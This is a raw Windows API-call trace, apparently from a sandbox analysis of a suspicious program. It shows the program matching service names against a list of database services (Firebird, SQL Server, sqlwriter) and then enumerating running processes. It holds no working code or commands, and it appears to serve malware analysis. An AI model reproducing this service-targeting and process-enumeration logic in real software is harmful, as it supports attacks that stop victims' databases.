	[0069.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0069.173] lstrlenW (lpString="Spooler") returned 7
	[0069.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0069.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0069.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0069.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0069.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0069.173] lstrlenW (lpString="SSDPSRV") returned 7
	[0069.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0069.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0069.174] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0069.174] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0069.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0069.174] lstrlenW (lpString="StateRepository") returned 15
	[0069.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0069.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0069.174] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0069.174] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0069.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0069.174] lstrlenW (lpString="SysMain") returned 7
	[0069.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0069.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0069.174] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0069.174] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0069.174] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3121968 | out: hHeap=0x500000) returned 1
	[0069.174] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4
	[0069.485] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0069.486] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0069.486] lstrlenW (lpString="System") returned 6
	[0069.486] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0069.487] lstrlenW (lpString="smss.exe") returned 8
	[0069.487] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0069.487] lstrlenW (lpString="csrss.exe") returned 9
	[0069.487] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0069.488] lstrlenW (lpString="wininit.exe") returned 11
	[0069.488] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0069.489] lstrlenW (lpString="csrss.exe") returned 9
	[0069.489] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0069.489] lstrlenW (lpString="winlogon.exe") returned 12
	[0069.489] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0069.490] lstrlenW (lpString="services.exe") returned 12
	[0069.490] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0069.490] lstrlenW (lpString="lsass.exe") returned 9
	[0069.491] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.491] lstrlenW (lpString="svchost.exe") returned 11
	[0069.491] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0069.491] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0069.492] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0069.492] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0069.492] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.493] lstrlenW (lpString="svchost.exe") returned 11
	[0069.493] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0069.493] lstrlenW (lpString="dwm.exe") returned 7
	[0069.493] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.494] lstrlenW (lpString="svchost.exe") returned 11
	[0069.494] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.494] lstrlenW (lpString="svchost.exe") returned 11
	[0069.494] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.495] lstrlenW (lpString="svchost.exe") returned 11
	[0069.495] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.496] lstrlenW (lpString="svchost.exe") returned 11
	[0069.496] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.496] lstrlenW (lpString="svchost.exe") returned 11
	[0069.496] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.497] lstrlenW (lpString="svchost.exe") returned 11
	[0069.497] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.497] lstrlenW (lpString="svchost.exe") returned 11
	[0069.497] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.498] lstrlenW (lpString="svchost.exe") returned 11
	[0069.498] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.498] lstrlenW (lpString="svchost.exe") returned 11
	[0069.498] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.499] lstrlenW (lpString="svchost.exe") returned 11
	[0069.499] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0069.500] lstrlenW (lpString="spoolsv.exe") returned 11
	[0069.500] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.500] lstrlenW (lpString="svchost.exe") returned 11
	[0069.500] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0069.501] lstrlenW (lpString="audiodg.exe") returned 11
	[0069.501] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0069.501] lstrlenW (lpString="sihost.exe") returned 10
	[0069.501] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.502] lstrlenW (lpString="svchost.exe") returned 11
	[0069.502] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0069.502] lstrlenW (lpString="taskhostw.exe") returned 13
	[0069.502] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0069.503] lstrlenW (lpString="explorer.exe") returned 12
	[0069.503] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0069.503] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0069.503] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0069.504] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0069.504] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0069.504] lstrlenW (lpString="Memory Compression") returned 18
	[0069.504] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0069.505] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0069.505] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0069.505] lstrlenW (lpString="SearchUI.exe") returned 12
	[0069.505] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0069.506] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0069.506] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0069.506] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0069.506] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0069.507] lstrlenW (lpString="fur-hold.exe") returned 12
	[0069.507] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0069.507] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0069.507] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0069.508] lstrlenW (lpString="vat.exe") returned 7
	[0069.508] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0069.508] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0069.508] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0069.509] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0069.509] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0069.510] lstrlenW (lpString="paxiltried.exe") returned 14
	[0069.510] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0069.510] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0069.510] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0069.511] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0069.511] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0069.511] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0069.511] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0069.512] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0069.512] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0069.512] lstrlenW (lpString="ride_australian.exe") returned 19
	[0069.512] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0069.513] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0069.513] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0069.513] lstrlenW (lpString="rc remember.exe") returned 15
	[0069.513] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0069.705] lstrlenW (lpString="records replace.exe") returned 19
	[0069.705] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0069.706] lstrlenW (lpString="isp physiology.exe") returned 18
	[0069.706] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0069.707] lstrlenW (lpString="feb.exe") returned 7
	[0069.707] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0069.707] lstrlenW (lpString="citizenship.exe") returned 15
	[0069.707] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0069.708] lstrlenW (lpString="wifi.exe") returned 8
	[0069.708] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0069.719] lstrlenW (lpString="3dftp.exe") returned 9
	[0069.719] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0069.720] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0069.720] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0069.721] lstrlenW (lpString="alftp.exe") returned 9
	[0069.721] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0069.722] lstrlenW (lpString="barca.exe") returned 9
	[0069.722] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0069.723] lstrlenW (lpString="bitkinex.exe") returned 12
	[0069.723] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0069.723] lstrlenW (lpString="coreftp.exe") returned 11
	[0069.723] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0069.724] lstrlenW (lpString="far.exe") returned 7
	[0069.724] Process32NextW (in: hSnapshot=0x2f4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0069.725] lstrlenW (lpString="filezilla.exe") returned 13
